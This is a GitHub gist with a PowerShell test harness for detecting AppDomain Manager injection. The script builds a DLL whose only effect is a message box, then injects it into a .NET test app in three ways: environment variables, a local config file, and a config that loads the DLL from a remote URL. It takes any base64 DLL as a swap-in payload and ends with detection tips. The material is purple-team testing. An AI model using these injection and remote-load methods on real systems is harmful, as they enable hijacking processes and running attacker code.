Skip to content

Instantly share code, notes, and snippets.

@secdev02
Last active January 30, 2026 18:34
Show Gist options
  • Select an option

  • Save secdev02/cd8f12acc201fc0a6273f3a8f93ae415 to your computer and use it in GitHub Desktop.

Select an option

Save secdev02/cd8f12acc201fc0a6273f3a8f93ae415 to your computer and use it in GitHub Desktop.
Quick and simple test harness
# AppDomain Manager Injection Detection Tests
# This script tests three methods of AppDomain Manager injection
param(
[string]$TestExecutable = "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe",
[string]$RemoteServer = "http://yourserver.com/tasks.dll",
[string]$Base64RemoteDll = ""
)
$ErrorActionPreference = "Stop"
# Define paths
$ScriptDir = Split-Path -Parent $MyInvocation.MyCommand.Path
$DllName = "tasks.dll"
$DllPath = Join-Path $ScriptDir $DllName
$RemoteDllPath = Join-Path $ScriptDir "tasks_remote.dll"
# Create separate test directories for each test
$Test1Dir = Join-Path $ScriptDir "Test1_EnvVar"
$Test2Dir = Join-Path $ScriptDir "Test2_LocalConfig"
$Test3Dir = Join-Path $ScriptDir "Test3_RemoteConfig"
# C# source code for AppDomainManager
$CSharpCode = @"
using System;
using System.EnterpriseServices;
using System.Runtime.InteropServices;
public sealed class MyAppDomainManager : AppDomainManager
{
public override void InitializeNewDomain(AppDomainSetup appDomainInfo)
{
System.Windows.Forms.MessageBox.Show("AppDomain - KaBoom!");
return;
}
}
"@
# Simple test application C# code
$TestAppCode = @"
using System;
class Program
{
static void Main(string[] args)
{
Console.WriteLine("Test application started");
Console.WriteLine("AppDomain: " + AppDomain.CurrentDomain.FriendlyName);
Console.WriteLine("Press any key to exit...");
Console.ReadKey();
}
}
"@
Write-Host "==================================" -ForegroundColor Cyan
Write-Host "AppDomain Manager Injection Tests" -ForegroundColor Cyan
Write-Host "==================================" -ForegroundColor Cyan
Write-Host ""
# Process Base64 Remote DLL if provided
if ($Base64RemoteDll -ne "") {
Write-Host "[*] Processing Base64 encoded remote DLL..." -ForegroundColor Yellow
try {
# Decode Base64 string to byte array
$DllBytes = [System.Convert]::FromBase64String($Base64RemoteDll)
# Write bytes to file
[System.IO.File]::WriteAllBytes($RemoteDllPath, $DllBytes)
Write-Host "[+] Remote DLL decoded and saved to: $RemoteDllPath" -ForegroundColor Green
Write-Host "[+] File size: $($DllBytes.Length) bytes" -ForegroundColor Green
# Verify the file was written correctly
if (Test-Path $RemoteDllPath) {
$FileInfo = Get-Item $RemoteDllPath
Write-Host "[+] File verification successful - Size on disk: $($FileInfo.Length) bytes" -ForegroundColor Green
}
else {
Write-Host "[-] Warning: File was not found after writing" -ForegroundColor Red
}
}
catch {
Write-Host "[-] Failed to decode Base64 DLL: $_" -ForegroundColor Red
Write-Host "[!] Continuing with compilation of standard DLL..." -ForegroundColor Yellow
$RemoteDllPath = $DllPath
}
Write-Host ""
}
else {
Write-Host "[*] No Base64 remote DLL provided, will use compiled DLL for Test 3" -ForegroundColor Yellow
$RemoteDllPath = $DllPath
Write-Host ""
}
# Step 1: Compile the malicious DLL
Write-Host "[*] Step 1: Compiling AppDomainManager DLL..." -ForegroundColor Yellow
$CscPath = "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe"
if (-not (Test-Path $CscPath)) {
$CscPath = "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"
}
if (-not (Test-Path $CscPath)) {
Write-Host "[-] C# compiler not found at expected locations" -ForegroundColor Red
exit 1
}
# Save C# code to temporary file
$CsFile = Join-Path $ScriptDir "tasks.cs"
$CSharpCode | Out-File -FilePath $CsFile -Encoding ASCII
# Compile DLL
$CompileArgs = "/target:library /out:$DllPath /reference:System.Windows.Forms.dll $CsFile"
$CompileProcess = Start-Process -FilePath $CscPath -ArgumentList $CompileArgs -Wait -PassThru -NoNewWindow
if ($CompileProcess.ExitCode -eq 0) {
Write-Host "[+] DLL compiled successfully: $DllPath" -ForegroundColor Green
$CompiledDllInfo = Get-Item $DllPath
Write-Host "[+] Compiled DLL size: $($CompiledDllInfo.Length) bytes" -ForegroundColor Green
} else {
Write-Host "[-] Failed to compile DLL" -ForegroundColor Red
exit 1
}
Write-Host ""
# ===========================================
# TEST 1: Environment Variable Method
# ===========================================
Write-Host "==========================================="-ForegroundColor Cyan
Write-Host "TEST 1: Environment Variable Method" -ForegroundColor Cyan
Write-Host "==========================================="-ForegroundColor Cyan
# Create Test 1 directory
if (-not (Test-Path $Test1Dir)) {
New-Item -ItemType Directory -Path $Test1Dir | Out-Null
}
# Compile test application for Test 1
Write-Host "[*] Compiling test application for Test 1..." -ForegroundColor Yellow
$Test1AppCs = Join-Path $Test1Dir "testapp.cs"
$Test1Exe = Join-Path $Test1Dir "testapp.exe"
$TestAppCode | Out-File -FilePath $Test1AppCs -Encoding ASCII
$Test1CompileArgs = "/out:$Test1Exe $Test1AppCs"
$Test1CompileProcess = Start-Process -FilePath $CscPath -ArgumentList $Test1CompileArgs -Wait -PassThru -NoNewWindow
if ($Test1CompileProcess.ExitCode -eq 0) {
Write-Host "[+] Test 1 application compiled successfully" -ForegroundColor Green
} else {
Write-Host "[-] Failed to compile test application" -ForegroundColor Red
exit 1
}
# Copy DLL to Test 1 directory (same folder as exe)
$Test1Dll = Join-Path $Test1Dir $DllName
Copy-Item $DllPath -Destination $Test1Dll -Force
Write-Host "[+] DLL copied to Test 1 directory: $Test1Dll" -ForegroundColor Green
Write-Host "[*] Setting environment variables for AppDomain Manager injection..." -ForegroundColor Yellow
# Set environment variables
$env:APPDOMAIN_MANAGER_ASM = "tasks, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null"
$env:APPDOMAIN_MANAGER_TYPE = "MyAppDomainManager"
$env:COMPLUS_Version = "v4.0.30319"
Write-Host "[+] Environment variables set:" -ForegroundColor Green
Write-Host " APPDOMAIN_MANAGER_ASM = $env:APPDOMAIN_MANAGER_ASM"
Write-Host " APPDOMAIN_MANAGER_TYPE = $env:APPDOMAIN_MANAGER_TYPE"
Write-Host " COMPLUS_Version = $env:COMPLUS_Version"
Write-Host ""
Write-Host "[*] Test 1 Directory Contents:" -ForegroundColor Yellow
Get-ChildItem $Test1Dir | ForEach-Object { Write-Host " $_" -ForegroundColor White }
Write-Host ""
Write-Host "[*] Launching test application (should trigger injection via environment variables)..." -ForegroundColor Yellow
Write-Host "[!] Press any key in the test application window to continue..." -ForegroundColor Magenta
Start-Process -FilePath $Test1Exe -Wait -WorkingDirectory $Test1Dir
# Clean up environment variables
Remove-Item Env:\APPDOMAIN_MANAGER_ASM -ErrorAction SilentlyContinue
Remove-Item Env:\APPDOMAIN_MANAGER_TYPE -ErrorAction SilentlyContinue
Remove-Item Env:\COMPLUS_Version -ErrorAction SilentlyContinue
Write-Host "[+] Test 1 completed. Environment variables cleaned up." -ForegroundColor Green
Write-Host ""
# ===========================================
# TEST 2: Local exe.config Method
# ===========================================
Write-Host "==========================================="-ForegroundColor Cyan
Write-Host "TEST 2: Local exe.config Method" -ForegroundColor Cyan
Write-Host "==========================================="-ForegroundColor Cyan
# Create Test 2 directory
if (-not (Test-Path $Test2Dir)) {
New-Item -ItemType Directory -Path $Test2Dir | Out-Null
}
# Compile test application for Test 2
Write-Host "[*] Compiling test application for Test 2..." -ForegroundColor Yellow
$Test2AppCs = Join-Path $Test2Dir "testapp.cs"
$Test2Exe = Join-Path $Test2Dir "testapp.exe"
$TestAppCode | Out-File -FilePath $Test2AppCs -Encoding ASCII
$Test2CompileArgs = "/out:$Test2Exe $Test2AppCs"
$Test2CompileProcess = Start-Process -FilePath $CscPath -ArgumentList $Test2CompileArgs -Wait -PassThru -NoNewWindow
if ($Test2CompileProcess.ExitCode -eq 0) {
Write-Host "[+] Test 2 application compiled successfully" -ForegroundColor Green
} else {
Write-Host "[-] Failed to compile test application" -ForegroundColor Red
exit 1
}
# Copy DLL to Test 2 directory (same folder as exe)
$Test2Dll = Join-Path $Test2Dir $DllName
Copy-Item $DllPath -Destination $Test2Dll -Force
Write-Host "[+] DLL copied to Test 2 directory: $Test2Dll" -ForegroundColor Green
Write-Host "[*] Creating local config file..." -ForegroundColor Yellow
$LocalConfigPath = $Test2Exe + ".config"
$LocalConfigContent = @"
<?xml version="1.0" encoding="utf-8" ?>
<configuration>
<runtime>
<appDomainManagerAssembly value="tasks, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null" />
<appDomainManagerType value="MyAppDomainManager" />
</runtime>
</configuration>
"@
$LocalConfigContent | Out-File -FilePath $LocalConfigPath -Encoding ASCII
Write-Host "[+] Config file created: $LocalConfigPath" -ForegroundColor Green
Write-Host ""
Write-Host "[*] Test 2 Directory Contents:" -ForegroundColor Yellow
Get-ChildItem $Test2Dir | ForEach-Object { Write-Host " $_" -ForegroundColor White }
Write-Host ""
Write-Host "[*] Launching test application (should trigger injection via local config)..." -ForegroundColor Yellow
Write-Host "[!] Press any key in the test application window to continue..." -ForegroundColor Magenta
Start-Process -FilePath $Test2Exe -Wait -WorkingDirectory $Test2Dir
Write-Host "[+] Test 2 completed." -ForegroundColor Green
Write-Host ""
# ===========================================
# TEST 3: Remote Assembly exe.config Method
# ===========================================
Write-Host "==========================================="-ForegroundColor Cyan
Write-Host "TEST 3: Remote Assembly exe.config Method" -ForegroundColor Cyan
Write-Host "==========================================="-ForegroundColor Cyan
# Create Test 3 directory
if (-not (Test-Path $Test3Dir)) {
New-Item -ItemType Directory -Path $Test3Dir | Out-Null
}
# Compile test application for Test 3
Write-Host "[*] Compiling test application for Test 3..." -ForegroundColor Yellow
$Test3AppCs = Join-Path $Test3Dir "testapp.cs"
$Test3Exe = Join-Path $Test3Dir "testapp.exe"
$TestAppCode | Out-File -FilePath $Test3AppCs -Encoding ASCII
$Test3CompileArgs = "/out:$Test3Exe $Test3AppCs"
$Test3CompileProcess = Start-Process -FilePath $CscPath -ArgumentList $Test3CompileArgs -Wait -PassThru -NoNewWindow
if ($Test3CompileProcess.ExitCode -eq 0) {
Write-Host "[+] Test 3 application compiled successfully" -ForegroundColor Green
} else {
Write-Host "[-] Failed to compile test application" -ForegroundColor Red
exit 1
}
Write-Host "[*] Creating remote assembly config file..." -ForegroundColor Yellow
Write-Host "[!] NOTE: This requires hosting the DLL on a web server" -ForegroundColor Magenta
Write-Host "[!] You can use Python's SimpleHTTPServer or IIS for this" -ForegroundColor Magenta
Write-Host "[!] Current RemoteServer parameter: $RemoteServer" -ForegroundColor Magenta
Write-Host "[!] DLL to host: $RemoteDllPath" -ForegroundColor Magenta
$RemoteConfigPath = $Test3Exe + ".config"
$RemoteConfigContent = @"
<?xml version="1.0" encoding="utf-8" ?>
<configuration>
<runtime>
<appDomainManagerAssembly value="tasks, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null" />
<appDomainManagerType value="MyAppDomainManager" />
<assemblyBinding xmlns="urn:schemas-microsoft-com:asm.v1">
<dependentAssembly>
<assemblyIdentity name="tasks" />
<codeBase version="0.0.0.0" href="$RemoteServer" />
</dependentAssembly>
</assemblyBinding>
</runtime>
</configuration>
"@
$RemoteConfigContent | Out-File -FilePath $RemoteConfigPath -Encoding ASCII
Write-Host "[+] Remote config file created: $RemoteConfigPath" -ForegroundColor Green
# Explicitly do NOT copy the DLL to Test 3 directory - force remote loading
Write-Host "[+] DLL intentionally NOT copied to Test 3 directory (testing remote loading)" -ForegroundColor Green
Write-Host ""
Write-Host "[*] Test 3 Directory Contents:" -ForegroundColor Yellow
Get-ChildItem $Test3Dir | ForEach-Object { Write-Host " $_" -ForegroundColor White }
Write-Host ""
Write-Host "[*] To test remote loading:" -ForegroundColor Yellow
Write-Host " 1. Host the DLL on a web server" -ForegroundColor White
Write-Host " File to host: $RemoteDllPath" -ForegroundColor Gray
Write-Host ""
Write-Host " 2. Example: Start web server in script directory:" -ForegroundColor White
Write-Host " cd $ScriptDir" -ForegroundColor Gray
Write-Host " python -m http.server 8000" -ForegroundColor Gray
Write-Host ""
Write-Host " 3. Then access with URL like:" -ForegroundColor White
if ($Base64RemoteDll -ne "") {
$RemoteDllFilename = Split-Path $RemoteDllPath -Leaf
Write-Host " http://localhost:8000/$RemoteDllFilename" -ForegroundColor Gray
}
else {
Write-Host " http://localhost:8000/tasks.dll" -ForegroundColor Gray
}
Write-Host ""
Write-Host "[?] Do you want to launch the test application now? (Y/N)" -ForegroundColor Yellow
$Response = Read-Host
if ($Response -eq "Y" -or $Response -eq "y") {
Write-Host "[*] Launching test application (should trigger injection via remote config)..." -ForegroundColor Yellow
Write-Host "[!] This will only work if DLL is hosted at: $RemoteServer" -ForegroundColor Magenta
Write-Host "[!] Press any key in the test application window to continue..." -ForegroundColor Magenta
Start-Process -FilePath $Test3Exe -Wait -WorkingDirectory $Test3Dir
Write-Host "[+] Test 3 completed." -ForegroundColor Green
} else {
Write-Host "[*] Test 3 skipped." -ForegroundColor Yellow
}
Write-Host ""
# Summary
Write-Host "==========================================="-ForegroundColor Cyan
Write-Host "Test Summary" -ForegroundColor Cyan
Write-Host "==========================================="-ForegroundColor Cyan
Write-Host "[+] All tests completed!" -ForegroundColor Green
Write-Host ""
Write-Host "Test Directories Created:" -ForegroundColor Yellow
Write-Host " - Test 1 (Environment Variable): $Test1Dir"
Write-Host " - Test 2 (Local Config): $Test2Dir"
Write-Host " - Test 3 (Remote Config): $Test3Dir"
Write-Host ""
Write-Host "Files created:" -ForegroundColor Yellow
Write-Host " - Malicious DLL (master): $DllPath"
if ($Base64RemoteDll -ne "" -and (Test-Path $RemoteDllPath)) {
Write-Host " - Remote DLL (from Base64): $RemoteDllPath"
}
Write-Host ""
Write-Host "Test 1 files (exe + dll + no config):" -ForegroundColor Yellow
Write-Host " - $Test1Exe"
Write-Host " - $Test1Dll"
Write-Host ""
Write-Host "Test 2 files (exe + dll + config):" -ForegroundColor Yellow
Write-Host " - $Test2Exe"
Write-Host " - $Test2Dll"
Write-Host " - $LocalConfigPath"
Write-Host ""
Write-Host "Test 3 files (exe + config, NO dll):" -ForegroundColor Yellow
Write-Host " - $Test3Exe"
Write-Host " - $RemoteConfigPath"
Write-Host " - DLL to host remotely: $RemoteDllPath"
Write-Host ""
Write-Host "Detection Tips:" -ForegroundColor Yellow
Write-Host " 1. Monitor for APPDOMAIN_MANAGER_* environment variables"
Write-Host " 2. Scan for .exe.config files with appDomainManager* entries"
Write-Host " 3. Monitor for suspicious DLLs loaded from unusual locations"
Write-Host " 4. Watch for COMPLUS_* environment variables"
Write-Host " 5. Monitor network connections from .NET applications to external DLL sources"
Write-Host " 6. Check for codeBase elements in .config files pointing to remote URLs"
Write-Host ""
# Show Base64 conversion instructions if not provided
if ($Base64RemoteDll -eq "") {
Write-Host "==========================================="-ForegroundColor Cyan
Write-Host "Base64 DLL Encoding" -ForegroundColor Cyan
Write-Host "==========================================="-ForegroundColor Cyan
Write-Host "[*] To use a custom Base64-encoded DLL for Test 3:" -ForegroundColor Yellow
Write-Host ""
Write-Host " Convert your DLL to Base64:" -ForegroundColor White
Write-Host " `$bytes = [System.IO.File]::ReadAllBytes('C:\path\to\your.dll')" -ForegroundColor Gray
Write-Host " `$base64 = [System.Convert]::ToBase64String(`$bytes)" -ForegroundColor Gray
Write-Host " Write-Host `$base64" -ForegroundColor Gray
Write-Host ""
Write-Host " Then run this script with:" -ForegroundColor White
Write-Host " .\Test-AppDomainInjection.ps1 -Base64RemoteDll `"YOUR_BASE64_STRING`"" -ForegroundColor Gray
Write-Host ""
}
# Clean up source files
Write-Host "[*] Cleaning up temporary source files..." -ForegroundColor Yellow
Remove-Item $CsFile -Force -ErrorAction SilentlyContinue
Remove-Item $Test1AppCs -Force -ErrorAction SilentlyContinue
Remove-Item $Test2AppCs -Force -ErrorAction SilentlyContinue
Remove-Item $Test3AppCs -Force -ErrorAction SilentlyContinue
Write-Host "[+] Cleanup completed" -ForegroundColor Green
Write-Host ""
Write-Host "[*] Test script completed!" -ForegroundColor Green
Write-Host ""

Comments are disabled for this gist.